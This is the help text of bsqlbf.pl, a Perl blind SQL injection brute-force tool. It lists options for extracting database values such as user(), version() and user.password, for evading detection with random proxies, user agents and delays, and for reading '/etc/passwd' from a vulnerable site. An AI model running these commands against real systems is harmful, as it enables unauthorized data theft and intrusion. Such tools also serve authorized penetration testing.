 // Blind SQL injection brute force.
 // aramosf@514.es / http://www.514.es

 usage: /srv/www/vhosts/unsec.net/htdocs/download/bsqlbf.pl <-url http://www.host.com/path/script.php?foo=bar> [options]

 options:
 -sql:		valid SQL syntax to get; connection_id(), database(),
		system_user(), session_user(), current_user(), last_insert_id(),
		user() or all data available in the requested query, for
		example: user.password. Default: version()
 -blind:	parameter to inject sql. Default is last value of url
 -match:	string to match in valid query, Default is try to get auto
 -charset:	charset to use. Default is all. Others charsets supported:
 	all:	abcdefghijklmnopqrstuvwxyz0123456789$.-_()[]{}?@=/\|#??&·!<>nN
 	num:	0123456789
 	md5:	abcdef0123456789$
 	custom:	your custom charset, for example: "abc0123"
 -start:	if you know the beginning of the string, use it.
 -length:	maximum length of value. Default is 32.
 -dict:		use dictionary for improve speed. Default is dict.txt
 -time:		timer options:
 	0:	dont wait. Default option.
 	1:	wait 15 seconds
 	2:	wait 5 minutes
 -rtime:	wait random seconds, for example: "10-20".
 -method:	http method to use; get or post. Default is GET.
 -uagent:	http UserAgent header to use. Default is bsqlbf 1.1
 -ruagent:	file with random http UserAgent header to use.
 -cookie:	http cookie header to use
 -rproxy:	use random http proxy from file list.
 -proxy:	use proxy http. Syntax: -proxy=http://proxy:port/
 -proxy_user:	proxy http user
 -proxy_pass:	proxy http password

 examples:
 bash# /srv/www/vhosts/unsec.net/htdocs/download/bsqlbf.pl -url http://www.somehost.com/blah.php?u=5 -blind u -sql "user()"
 bash# /srv/www/vhosts/unsec.net/htdocs/download/bsqlbf.pl -url http://www.buggy.com/bug.php?r=514&p=3 -get "/etc/passwd"
